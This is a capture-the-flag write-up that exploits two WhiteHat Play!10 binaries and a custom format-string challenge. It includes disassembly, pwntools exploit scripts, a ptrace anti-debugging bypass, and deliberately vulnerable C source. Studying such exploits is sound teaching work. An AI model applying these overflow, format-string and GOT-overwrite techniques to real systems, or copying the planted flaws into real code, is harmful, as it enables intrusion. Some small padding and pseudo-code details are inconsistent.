[HOME]

PWN Journey: Part 2

In this post, we will solve two pwn challenges from WhiteHat Play!10 and a customized one. We will also delve into details about most frequently encountered protection bits as well as bypass method for each.

Anyway, I hope you have a good time reading.

WhiteHat Play!10 - pwn01

Goal: Trigger the buffer overflow and call covid19.

This is an original pwn challenge from WhiteHat Play10! Wargame and you can download it here or use this mirror link.

Fingerprinting

Initially, we want to know what type of the binary we are going to analyze and we will have file and radare2 to determine its properties.

A 64-bit ELF with NX bit enabled.

The challenge, of course, does not provide us with its original source code. Here is a list of functions and their disassembled-views.

At 0x004011d9 - main:

[0x7f1963069050]> s main;pdf
            ; DATA XREF from entry0 @ 0x4010f1
┌ 221: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_120h @ rbp-0x120
│           ; var int64_t var_114h @ rbp-0x114
│           ; var int64_t var_110h @ rbp-0x110
│           ; var int64_t var_4h @ rbp-0x4
│           ; arg int argc @ rdi
│           ; arg char **argv @ rsi
│           0x004011d9      f30f1efa       endbr64
│           0x004011dd      55             push rbp
│           0x004011de      4889e5         mov rbp, rsp
│           0x004011e1      4881ec200100.  sub rsp, 0x120
│           0x004011e8      89bdecfeffff   mov dword [var_114h], edi   ; argc
│           0x004011ee      4889b5e0feff.  mov qword [var_120h], rsi   ; argv
│           0x004011f5      488b05342e00.  mov rax, qword [obj.stdin]  ; obj.stdin__GLIBC_2.2.5
│                                                                      ; [0x404030:8]=0                                                
│           0x004011fc      b900000000     mov ecx, 0
│           0x00401201      ba02000000     mov edx, 2
│           0x00401206      be00000000     mov esi, 0
│           0x0040120b      4889c7         mov rdi, rax
│           0x0040120e      e89dfeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x00401213      488b05062e00.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│                                                                      ; [0x404020:8]=0                                                
│           0x0040121a      b900000000     mov ecx, 0
│           0x0040121f      ba02000000     mov edx, 2
│           0x00401224      be00000000     mov esi, 0
│           0x00401229      4889c7         mov rdi, rax
│           0x0040122c      e87ffeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x00401231      488b05082e00.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│                                                                      ; [0x404040:8]=0                                                
│           0x00401238      b900000000     mov ecx, 0
│           0x0040123d      ba02000000     mov edx, 2
│           0x00401242      be00000000     mov esi, 0
│           0x00401247      4889c7         mov rdi, rax
│           0x0040124a      e861feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x0040124f      488d3dda0d00.  lea rdi, str.You_can_find_the_key_to_save_humanity_from_the_COVID_19_pandemic ; 0x402030 ; "You can find the key to save humanity from the COVID-19 pandemic"                                                                      
│           0x00401256      e825feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0040125b      488d3d0f0e00.  lea rdi, str.Here_is_your_chance:_ ; 0x402071 ; "Here is your chance: "
│           0x00401262      e819feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00401267      488d85f0feff.  lea rax, [var_110h]
│           0x0040126e      4889c6         mov rsi, rax
│           0x00401271      488d3d0f0e00.  lea rdi, [0x00402087]       ; "%s"
│           0x00401278      b800000000     mov eax, 0
│           0x0040127d      e83efeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x00401282      488d85f0feff.  lea rax, [var_110h]
│           0x00401289      4889c7         mov rdi, rax
│           0x0040128c      e8fffdffff     call sym.imp.strlen         ; size_t strlen(const char *s)
│           0x00401291      8945fc         mov dword [var_4h], eax
│           0x00401294      488d85f0feff.  lea rax, [var_110h]
│           0x0040129b      4889c7         mov rdi, rax
│           0x0040129e      e8ddfdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004012a3      488d3de00d00.  lea rdi, str.No_please_try_again____ ; 0x40208a ; "No,please try again!!!!"
│           0x004012aa      e8d1fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004012af      b800000000     mov eax, 0
│           0x004012b4      c9             leave
└           0x004012b5      c3             ret

and at 0x004011b6, we have covid19:

[0x004011d9]> s sym.covid19 ;pdf
┌ 35: sym.covid19 ();
│           0x004011b6      f30f1efa       endbr64
│           0x004011ba      55             push rbp
│           0x004011bb      4889e5         mov rbp, rsp
│           0x004011be      488d3d430e00.  lea rdi, str.Congratulations_ ; 0x402008 ; "Congratulations!"
│           0x004011c5      e8b6feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x004011ca      488d3d480e00.  lea rdi, str.cat__home_easybof_flag ; 0x402019 ; "cat /home/easybof/flag"
│           0x004011d1      e8cafeffff     call sym.imp.system         ; int system(const char *string)
│           0x004011d6      90             nop
│           0x004011d7      5d             pop rbp
└           0x004011d8      c3             ret

If you have a difficult time understand this low-level language, try to get the gist and look at their roughly equivalent pseudo-c as follows:

int main()
{
	int size;
	char buffer[0x110];
	puts("You can find the key to save humanity from the COVID-19 pandemic");
	puts("Here is your chance: ");
	scanf("%s", buffer);
	size = strlen(buffer);
	puts(buffer)
	puts("No,please try again!!!!");
	return 0;
}

void covid19()
{
	puts("Congratulations!");
	system("cat /home/easybof/flag");
}

Code breakdown

There are two functions, main and covid19.

main creates a presumable buffer of 0x110 bytes in size and covid19 merely prints Congratulations! then calls system to read the flag at /home/easybof/flag.

Solution

As scanf has no boundary check, it provides a buffer overflow opportunity for us to exploit. We thus have to determine the padding length between the buffer and our RIP, thereby making it point to the address of covid19.

Hence, our ret2win skeleton payload:

payload = PAD_TIL_RIP (??) + covid19_ADDR (??)

In order to find the PAD_TIL_RIP variable, as you may or may not have already known from my previous post, we mentioned a sequence called De Bruijn Sequence that can evaluate the distance between the start offset of our buffer and RIP.

And make sure your sequence has the length of buffer_size + 4n, keep increase until a SIGSEGV (code=1) occurs. In this case, I will have ragg2 to generate a sequence of 284 characters

┌──(legiahuyy㉿kali)-[~/…/Study/PWN/WhiteHatWargame/pwn1_c15747119b]
└─$ ragg2 -P 280 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABg

then feed it to the program and successfully be able to control the RIP.

So, our PAD_TIL_RIP would be 280.

The last variable is covid19_ADDR, which we can get with afl~covid19.

[0x7f0041684241]> afl~covid19
0x004011b6    1 35           sym.covid19
[0x7f0041684241]> 

And our final payload is:

payload = PAD_TIL_RIP (280) + covid19_ADDR (0x004011b6)

SOLVE.py

Now, we already have everything needed for the script but unfortunately, I could not connect to the wargame server as it ended a month ago, so I created a fake flag locate exactly at /home/easybof/flag.

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./easybof')
r = process()

payload = b'a' * 280		# padding
payload += p64(0x004011b6)	# covid19 address

r.sendlineafter(b'Here is your chance: ', payload)
print(r.recvall())


WhiteHat Play!10 - pwn02

Goal: Modify a volatile variable and successfully read the flag.

This is an original pwn challenge from WhiteHat Play10! Wargame and you can download it here or use this mirror link.

From my perspective, the challenge itself is neither difficult nor complicated and we have already had a similar one in our first part of the journey. Nevertheless, I still want to give you another example of how I go around and poke things to solve these tasks. Moreover, there is one new detail (to me, at least) in this challenge, which I thought it might intrigue you readers.

Fingerprinting

As usual, let us check the properties of our ELF - “ChickenStar”.

radare2 output:

file output:

During normal execution, the program prompts for a password then repeats our input and prints a constant value of 0x43563139.

In-depth analysis

Have a glance at the functions list and their disassembly in radare2.

Type afl to list all functions.

The binary composed of two principal functions, main and sym.check.

You may have noticed that the addresses are somewhat different from other challenges we have encountered and this happens by reason of the PIE protection bit (stands for Position Independent Executable), which means every time you run the file, it gets loaded into a different memory region and this prevent hardcode values such as function addresses or gadget locations, thus making it slightly more difficult for ret2win, ret2libc and such others to work properly.

Let see what is inside main

            ; DATA XREF from entry0 @ 0x5555555551a1
┌ 304: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_60h @ rbp-0x60
│           ; var int64_t var_18h @ rbp-0x18
│           0x5555555552ae      f30f1efa       endbr64
│           0x5555555552b2      55             push rbp
│           0x5555555552b3      4889e5         mov rbp, rsp
│           0x5555555552b6      53             push rbx
│           0x5555555552b7      4883ec58       sub rsp, 0x58
│           0x5555555552bb      48c745e83931.  mov qword [var_18h], 0x43563139 ; '91VC'
│           0x5555555552c3      488b05662d00.  mov rax, qword [reloc.stdin] ; [0x555555558030:8]=0
│           0x5555555552ca      b900000000     mov ecx, 0
│           0x5555555552cf      ba02000000     mov edx, 2
│           0x5555555552d4      be00000000     mov esi, 0
│           0x5555555552d9      4889c7         mov rdi, rax
│           0x5555555552dc      e86ffeffff     call sym.imp.setvbuf    ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x5555555552e1      488b05382d00.  mov rax, qword [reloc.stdout] ; [0x555555558020:8]=0
│           0x5555555552e8      b900000000     mov ecx, 0
│           0x5555555552ed      ba02000000     mov edx, 2
│           0x5555555552f2      be00000000     mov esi, 0
│           0x5555555552f7      4889c7         mov rdi, rax
│           0x5555555552fa      e851feffff     call sym.imp.setvbuf    ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x5555555552ff      488b053a2d00.  mov rax, qword [reloc.stderr] ; [0x555555558040:8]=0
│           0x555555555306      b900000000     mov ecx, 0
│           0x55555555530b      ba02000000     mov edx, 2
│           0x555555555310      be00000000     mov esi, 0
│           0x555555555315      4889c7         mov rdi, rax
│           0x555555555318      e833feffff     call sym.imp.setvbuf    ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x55555555531d      488d3d040d00.  lea rdi, str.Can_you_find_the_bank_password_to_prove_your_idols_purity_ ; 0x555555556028 ; "Can you find the bank password to prove your idols' purity!"                                                                                               
│           0x555555555324      e8c7fdffff     call sym.imp.puts       ; int puts(const char *s)
│           0x555555555329      488d3d380d00.  lea rdi, str.Enter_string_password_here_to_print_account_statement:_ ; 0x555555556068 ; "Enter string password here to print account statement: "                                                                                                      
│           0x555555555330      b800000000     mov eax, 0
│           0x555555555335      e8d6fdffff     call sym.imp.printf     ; int printf(const char *format)
│           0x55555555533a      488d45a0       lea rax, [var_60h]
│           0x55555555533e      4889c6         mov rsi, rax
│           0x555555555341      488d3d580d00.  lea rdi, [0x5555555560a0] ; "%s"
│           0x555555555348      b800000000     mov eax, 0
│           0x55555555534d      e80efeffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x555555555352      488d45a0       lea rax, [var_60h]
│           0x555555555356      4889c6         mov rsi, rax
│           0x555555555359      488d3d430d00.  lea rdi, str.__s_n      ; 0x5555555560a3 ; " %s\n"
│           0x555555555360      b800000000     mov eax, 0
│           0x555555555365      e8a6fdffff     call sym.imp.printf     ; int printf(const char *format)
│           0x55555555536a      488b45e8       mov rax, qword [var_18h]
│           0x55555555536e      4889c6         mov rsi, rax
│           0x555555555371      488d3d300d00.  lea rdi, str.val:_0x_08x_n ; str.val:_0x_08x_n
│                                                                      ; 0x5555555560a8 ; "val: 0x%08x\n"                                          
│           0x555555555378      b800000000     mov eax, 0
│           0x55555555537d      e88efdffff     call sym.imp.printf     ; int printf(const char *format)
│           0x555555555382      b8efbeadde     mov eax, 0xdeadbeef
│           0x555555555387      483945e8       cmp qword [var_18h], rax
│       ┌─< 0x55555555538b      752f           jne 0x5555555553bc
│       │   0x55555555538d      488d3d210d00.  lea rdi, str.Good_Job_Amazing_ ; 0x5555555560b5 ; "Good Job,Amazing!"
│       │   0x555555555394      e857fdffff     call sym.imp.puts       ; int puts(const char *s)
│       │   0x555555555399      e882fdffff     call sym.imp.geteuid    ; uid_t geteuid(void)
│       │   0x55555555539e      89c3           mov ebx, eax
│       │   0x5555555553a0      e87bfdffff     call sym.imp.geteuid    ; uid_t geteuid(void)
│       │   0x5555555553a5      89de           mov esi, ebx
│       │   0x5555555553a7      89c7           mov edi, eax
│       │   0x5555555553a9      e892fdffff     call sym.imp.setreuid
│       │   0x5555555553ae      488d3d120d00.  lea rdi, str.cat__home_ChickenStar_flag ; 0x5555555560c7 ; "cat /home/ChickenStar/flag"
│       │   0x5555555553b5      e846fdffff     call sym.imp.system     ; int system(const char *string)
│      ┌──< 0x5555555553ba      eb16           jmp 0x5555555553d2
│      │└─> 0x5555555553bc      488d3d250d00.  lea rdi, str.Incorrect_password_cannot_print_account_statement._Please_try_again____ ; 0x5555555560e8 ; "Incorrect password cannot print account statement. Please try again!!!!"                                                                      
│      │    0x5555555553c3      e828fdffff     call sym.imp.puts       ; int puts(const char *s)
│      │    0x5555555553c8      bf01000000     mov edi, 1
│      │    0x5555555553cd      e89efdffff     call sym.imp.exit       ; void exit(int status)
│      │    ; CODE XREF from main @ 0x5555555553ba
│      └──> 0x5555555553d2      b800000000     mov eax, 0
│           0x5555555553d7      4883c458       add rsp, 0x58
│           0x5555555553db      5b             pop rbx
│           0x5555555553dc      5d             pop rbp
└           0x5555555553dd      c3             ret

and check.

┌ 69: sym.check ();
│           0x555555555269      f30f1efa       endbr64
│           0x55555555526d      55             push rbp
│           0x55555555526e      4889e5         mov rbp, rsp
│           0x555555555271      b900000000     mov ecx, 0
│           0x555555555276      ba00000000     mov edx, 0
│           0x55555555527b      be00000000     mov esi, 0
│           0x555555555280      bf00000000     mov edi, 0
│           0x555555555285      b800000000     mov eax, 0
│           0x55555555528a      e8a1feffff     call sym.imp.ptrace     ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data)
│           0x55555555528f      4883f8ff       cmp rax, 0xffffffffffffffff
│       ┌─< 0x555555555293      7516           jne 0x5555555552ab
│       │   0x555555555295      488d3d6c0d00.  lea rdi, str.__LOL________ ; 0x555555556008 ; "========> LOL!!!!!! <========"
│       │   0x55555555529c      e84ffeffff     call sym.imp.puts       ; int puts(const char *s)
│       │   0x5555555552a1      bfffffffff     mov edi, 0xffffffff     ; -1
│       │   0x5555555552a6      e835feffff     call sym.imp._exit      ; void _exit(int status)
│       └─> 0x5555555552ab      90             nop
│           0x5555555552ac      5d             pop rbp
└           0x5555555552ad      c3             ret

Here are their equivalent pseudo-c.

int main()
{
	volatile long password = 0x43563139;
   	char buffer[72];
    
	puts("Can you find the bank password to prove your idols\' purity!");
	printf("Enter string password here to print account statement: ");
	scanf("%s", buffer);
	printf(" %s\n",local_68);
	printf("val: 0x%08x\n", check);
    
    if(password == 0xdeadbeef)
    {
	__euid = geteuid();
	__ruid = geteuid();
	setreuid(__ruid,__euid);
	system("cat /home/ChickenStar/flag");
	return 0;
    }
    puts("Incorrect password cannot print account statement. Please try again!!!!");
    return 0;
}

void check()	/*sym.check*/
{
    long trace = 0;
    trace = ptrace(PTRACE_TRACEME, 0, 0, 0);
    if(trace == -1)
    {
        puts("========> LOL!!!!!! <========");
        exit(1); // Terminate entire process
    }
}

Code breakdown

main:

  • Creates a buffer of 72 bytes and a volatile variable (dubbed password) with 0x43563139 as its value
  • Reads and prints out the buffer as well as password, consecutively.
  • Prints the flag whether password is equal to 0xdeadbeef; otherwise, exits normally

check:

  • Being called during startup (__libc_csu_init)
  • Traces and examines memory region and registers to act as an anti-debugging method

Solution

In order to solve the challenge, we need to modify the volatile variable password to 0xdeadbeef. However, there is one impediment preventing us from determining the padding length or debugging the program as a result of an anti-debugging technique implemented in check.

The implementation invokes ptrace function to attach to our process at runtime so it can monitor and control the execution flow. You can find more information about ptrace by visiting this man page.

Signature overridden

So we have to think of a way to bypass this anti-debugging procedure, and fortunately, we can actually achieve this by abusing the LD_PRELOAD environment variable as it lets us control the loading path of a shared library, hence enables us to neutralize ptrace.

Let us create a shared library with ptrace signature to override it

// A "do-nothing" ptrace
long ptrace(int request, int pid, void *addr, void *data) {
    return 0;
}

then we shall compile it as gcc -shared ptrace.c -o ptrace.so and load it into radare2 with the following options:

$ r2 -Ad -e bin.cache=true -Rsetenv=LD_PRELOAD=./ptrace_bypass.so ./ChickenStar

Patching opcodes

Another quick, reliable method is to patch the jump condition inside the check procedure.

Reload the binary in radare2 with write mode enabled and pay your attention to the code within0x00001293 - 0x000012ab range.

┌ 69: sym.check ();
...
│           0x0000128f      4883f8ff       cmp rax, 0xffffffffffffffff
│       ┌─< 0x00001293      7416           jne 0x12ab			; PATCH
│       │   0x00001295      488d3d6c0d00.  lea rdi, str.__LOL________  ; 0x2008 ; "========> LOL!!!!!! <========" ; const char *s
│       │   0x0000129c      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x000012a1      bfffffffff     mov edi, 0xffffffff         ; -1 ; int status
│       │   0x000012a6      e835feffff     call sym.imp._exit          ; void _exit(int status) <--- This will exit the program and we don't want that!
│       │   ; CODE XREF from sym.check @ 0x1293
│       └─> 0x000012ab      90             nop
...

As can be seen, we have to patch the JNE instruction with JE as we want it to always take the jump to the NOP instruction at 0x000012ab.

Reopen the file and it should work properly.

Debugging

We are finally able to debug as well as calculate the distance between our buffer and password. Now, let us set a breakpoint after scanf and have a look at the stack.

By respectively subtracting the two offsets containing 0x43563139 and 0x636261 with each other and we thereby have our padding length of 80 bytes whereas the last 8 bytes is for password (QWORD, or long type).

Skeleton payload:

payload = PADDING (72) + PASSWORD (0xdeadbeef)

Solve.py

This challenge can be solve with this simple one-liner

$ python -c "print b'A'*72 + b'\xef\xbe\xad\xde'" | ./ChickenStar 

or you want to play around with pwntools more then here:

#!/usr/bin/env python3
from pwn import *

r = process('./ChickenStar')

payload = b'A' * 72 + p64(0xdeadbeef)
r.sendlineafter(b'account statement: ', payload)
print(r.clean()) 

login (custom)

Goal: Be able to fully comprehend the format string vulnerability as well as other protection bits (e.g., PIE/PIC, canary, ASLR and RELRO).

In the previous tasks, we have been repeatedly mentioning PIE/PIC, format string vulnerability and canaries but did not go in detail. Considering that, I have made a customized challenge as a nice little stopover for you readers to practice and have a concrete understanding about the aforementioned concepts.

The challenge also comes with its source code and build options, feel free to reproduce or modify it to your liking and it is strongly recommended that you should try to complete the tasks to some extent before reaching the solution part.

//Build: $ gcc -g readme.c -o readme -pie -fstack-protector -z execstack 
// Build target: Linux kali 5.14.0-kali2-amd64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) x86_64 GNU/Linux

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

long authen_code = 0;

void login();
void win();

int main() 
{
	login();
	return 0;
}

void win()
{
	printf("\n\nCongratulation! You've won!\n\n");
}


void login()
{
	char creds[255] = { '\0' };
	authen_code = 0xBADF00D;
	printf("Welcome to %lx sector!\n", login);
	printf("Enter credentials: ");
	fgets(creds, sizeof(creds) * sizeof(char), stdin);
	printf("Verifying...");
	printf(creds);
	if(0x1ee71ee7 == authen_code)
	{
		printf("Nice job!\n");
		printf("Now gotta call win()!\n");
		exit(0);
	}
	else
	{
		printf("Your authen_code is invalid!\nauthen_code = %p\n", authen_code);
	}
}

Fingerprinting

Expected output during normal run

and the properties.

[0x00001090]> iI~nx,relro,canary,bits,pic
bits     64
canary   true
nx       true
pic      true
relro    partial

As demonstrated, the program reads from STDIN, prints a welcome message with our input and carries out a conditional jump before exiting. In most scenarios, this conventional functionality of printing out exact input values is likely an indication of information leakage, herein the format string vulnerability.

You can try confirming it by feeding the buffer with format specifiers then see if there are any odd values printed out. Let us use %p which is a pointer specifier and here is the result:

You can go back to and read the previous example about format string in part one - canary.

Code breakdown

There are three functions: main, login and win; and a global variable authen_code.

Whereas main and win respectively invokes login and prints a congratulation message, login has a slightly more complicated structure as it does:

  • Create a buffer, dubbed creds, of 255 bytes in size
  • Assign 0xBADF00D to the global variable authen_code
  • Print the current address of itself
  • Securely read the input from STDIN to creds using fgets then print creds out again with printf
  • Invoke exit(0) whether 0x1ee71ee7 == authen_code, otherwise print an error message and current authen_code value

Henceforth, we will have to:

  • Calculate the base address of our binary using the leaked address of login and bypass PIE/PIC

  • Manipulate the format string vulnerability to perform an arbitrary read/write and modify the value of authen_code to 0x1ee71ee7

  • Overwrite the Global Offset Table and call win

In-depth analysis

Load the binary into radare2 and have a glance at its disassembled functions.

main:

and win:

You might be wondering why there is no canary check in either the prologue or epilogue of these two main and win functions. This happens since the two simply do not inquire about the stack or have any particular tasks that need the sentinel values.

login, however, is different as it is plain to see the canary is being stored at rbp-0x8:

[0x7f492b935050]> pdf @ sym.login
            ; CALL XREF from main @ 0x56279e188182
            ; DATA XREF from sym.login @ 0x56279e18820c
┌ 329: sym.login ();
│           ; var int64_t var_110h @ rbp-0x110
│           ; var int64_t var_108h @ rbp-0x108
│           ; var int64_t var_100h @ rbp-0x100
│           ; var int64_t var_8h @ rbp-0x8
│           0x56279e1881a4      55             push rbp
│           0x56279e1881a5      4889e5         mov rbp, rsp
│           0x56279e1881a8      4881ec100100.  sub rsp, 0x110
│           0x56279e1881af      64488b042528.  mov rax, qword fs:[0x28]
│           0x56279e1881b8      488945f8       mov qword [var_8h], rax
│           0x56279e1881bc      31c0           xor eax, eax
...
│           0x56279e1882d6      90             nop
│           0x56279e1882d7      488b45f8       mov rax, qword [var_8h]
│           0x56279e1882db      64482b042528.  sub rax, qword fs:[0x28]
│       ┌─< 0x56279e1882e4      7405           je 0x56279e1882eb
│       │   0x56279e1882e6      e855fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       └─> 0x56279e1882eb      c9             leave
└           0x56279e1882ec      c3             ret

Arbitrary read with Format String

Our first objective is to have authen_code value overwritten to 0x1ee71ee7.

But there is no buffer overflow gadget to use as the code is using fgets to properly read our input, so the only solution left is format string which can be triggered within the printf function. We thus have to determine where we can read our buffer, and fortunately that pwntools is able to help us to automatically accomplish the process. It might be worth nothing but you can find information about the manual method in our previous “canary” challenge from part one.

I have already prepared the script using FmtStr1

#!/usr/bin/env python3
from pwn import *

# Load the binary
elf = context.binary = ELF("./login")	

# Due to my Linux is constantly handling lots of buffering,
# so it has to use a pseudo-terminal to prompt for IO properly
pty = process.PTY	

def exec_fmt(payload):
	p = process([elf.path], stdin=pty, stdout=pty)
	p.sendlineafter(b'Enter credentials: ', payload)
	return p.recvline().strip(b'Verifying...').strip(b'\n')

# Automatically looking for our buffer offset
autofmt = FmtStr(exec_fmt) 
# return offset position
offset = autofmt.offset	

and it works properly.

Now that our buffer starts at the sixth offset and we want it to overwrite authen_code which is a global variable, so we presumably can get its address using readelf as follows:

┌──(legiahuyy㉿kali)-[~/…/Study/PWN/etc/frmstr]
└─$ readelf -s ./login|grep authen_code
    31: 0000000000004060     8 OBJECT  GLOBAL DEFAULT   25 authen_code

You perhaps are thinking that 0x00004060 is the correct address for authen_code then you must have forgotten about the PIE bit, but it is completely fine since we are going to glide over it one more time.

In computing, position-independent code[1] (PIC[1]) or position-independent executable (PIE)[2] is a body of machine code that, being placed somewhere in the primary memory, executes properly regardless of its absolute address.

Wikipedia

It basically means that every time you run the file, all the addresses of functions, global objects therein will be randomized and you cannot just dump these out statically as they are inconsistent.

PIE/PIC bypass with given leaks

On that account, we need to compute the base address before being able to invoke or even modify anything. Fortunately, login tells us where it is located and we can use the given address to bypass PIE and this is also our second objective.

Imagine PIE/PIC executables work like this, you have a main function is located at 0x00412, when you run the file, main’s address is then added up with a random value, say 0x1000, so that now it is 0x01412. Moreover, this random value, dubbed base address, is shared across the memory region of the current instance; hence, our formula for this

base_address = leaked_login_addr - abs_login_addr

and we can automate the process using pwntools.

...

p = process([elf.path], stdin=pty, stdout=pty)

leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr

log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')

...

On the first and second run.

Arbitrary write with Format String

We by far have had the base address, authen_code address and the buffer offset, we now just need to construct our payload, accordingly modify the value of authen_code and complete our first goal. This can be feasible either constructing the payload manually or using auxiliaries from pwntools.

As for myself, I would prefer the automated method to the conventional way since I am lazy the latter is much more strenuous for me to handle. That being said, it is worth showing you a brief concept how we can do it by hand.

Theprintf function has a very special format specifier %n which instead of printing something, it causes printf to load a pointer and write there the number of characters printed by printf before the occurrence of %n. For instance, we have a C snippet as follows:

...
int main()
{
	int data = 0;
	printf("abcdefg%n\n", &data);
	printf("data = %d", data);
	return 0;
}

Build and run the source:

The idea is that you will print a string of 0x1ee71ee7 characters to authen_code’s address using the %n format specifier in print, so your payload looks like this much or less.

payload = authen_code_addr + b'A' * (0x1ee71ee7 - sizeof(authen_code_addr)) + b"%hhn"

We have to substract the 0x1ee71ee7 for sizeof(authen_code_addr) as %n would count it as well, remember? And %hhn instructs printf to write the number of printed bytes as byte or that of %hn as short for smaller size write.

But efficiency, performance and laziness are more to your liking, pwntools has a handy utility for it to match exactly what you desire - fmtstr_payload.

# Syntax
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

The function works similar to how we explain above in the manual method, however, it also provides optimization and thankfully save us some time.

...
p = process([elf.path], stdin=pty, stdout=pty)

leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr

log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')

authen_code_offset = elf.sym['authen_code']
log.info('authen_code offset: %s' % hex(authen_code_offset))

payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)
print(p.clean().decode('latin-1'))

And we have achieved our first goal - modify authen_code.

Overwrite GOT

Global Offset Table, or GOT, is one of the sections within an ELF binary that maps symbols to their corresponding absolute memory addresses and facilitate PIE/PIC portion. Furthermore, GOT is loaded into the memory at startup to provide dynamic linking as well as functionalities for the program. Simply put, GOT contains the addresses of functions that the program will use to call from libc, the C standard library and if we could overwrite an entry, it would be possible to gain code execution.

In our case, we want to overwrite GOT entry of exit with the location of win, however, there are some constraints:

  1. If the binary has Full RELRO protection enabled then no GOT overwrite.
  2. You need to bypass PIE/PIC, ASLR before being able to call anything.
  3. Format string or buffer overflow vulnerability.

Luckily, the binary has Partial RELRO property and we have already handled PIE/PIC in the prior part so we can simply overwrite the exit entry and replace it with win using pwntools.

payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7, elf.got['exit'] : elf.sym['win']})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)

Solve.py

#!/usr/bin/env python3
from pwn import *

elf = context.binary = ELF("./login")
pty = process.PTY

def exec_fmt(payload):
	p = process([elf.path], stdin=pty, stdout=pty)
	p.sendlineafter(b'Enter credentials: ', payload)
	return p.recvline().strip(b'Verifying...').strip(b'\n')
'''
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
'''
p = process([elf.path], stdin=pty, stdout=pty)

leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr

log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')

authen_code_offset = elf.sym['authen_code']
log.info('authen_code offset: %s' % hex(authen_code_offset))

payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7, elf.got['exit'] : elf.sym['win']})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)
print(p.clean())

Footnotes


  1. Format string bug exploitation tools. ↩︎